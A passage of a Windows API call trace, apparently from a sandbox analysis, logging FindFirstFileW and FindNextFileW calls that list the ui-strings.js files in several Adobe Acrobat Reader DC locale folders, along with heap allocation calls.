hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0255.827] GetProcessHeap () returned 0xc10000 [0255.827] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.827] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.828] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.828] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.828] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.828] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.829] GetProcessHeap () returned 0xc10000 [0255.829] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.829] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0255.829] GetProcessHeap () returned 0xc10000 [0255.829] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.829] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.830] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.830] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.830] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.831] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.831] GetProcessHeap () returned 0xc10000 [0255.831] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.831] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0255.831] GetProcessHeap () returned 0xc10000 [0255.831] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.831] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.833] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.833] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.834] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.834] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.834] GetProcessHeap () returned 0xc10000 [0255.834] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.834] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0255.834] GetProcessHeap () returned 0xc10000 [0255.834] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.834] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.836] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.836] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.836] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.836] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.836] GetProcessHeap () returned 0xc10000 [0255.837] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.837] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0255.837] GetProcessHeap () returned 0xc10000 [0255.837] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.837] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.838] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.838] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.838] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.838] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.838] GetProcessHeap () returned 0xc10000 [0255.838] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.838] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0255.838] GetProcessHeap () returned 0xc10000 [0255.839] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.839] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0255.840] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.840] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.840] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.840] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0255.840] GetProcessHeap () returned 0xc10000 [0255.840] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.840] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0255.840] GetProcessHeap () returned 0xc10000 [0255.840] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.841] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0255.843] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.843] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x587, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.843] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x587, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.843] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0255.843] GetProcessHeap () returned 0xc10000 [0255.843] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.843] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0255.843] GetProcessHeap () returned 0xc10000 [0255.843] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.843] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.844] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.845] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.845] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, 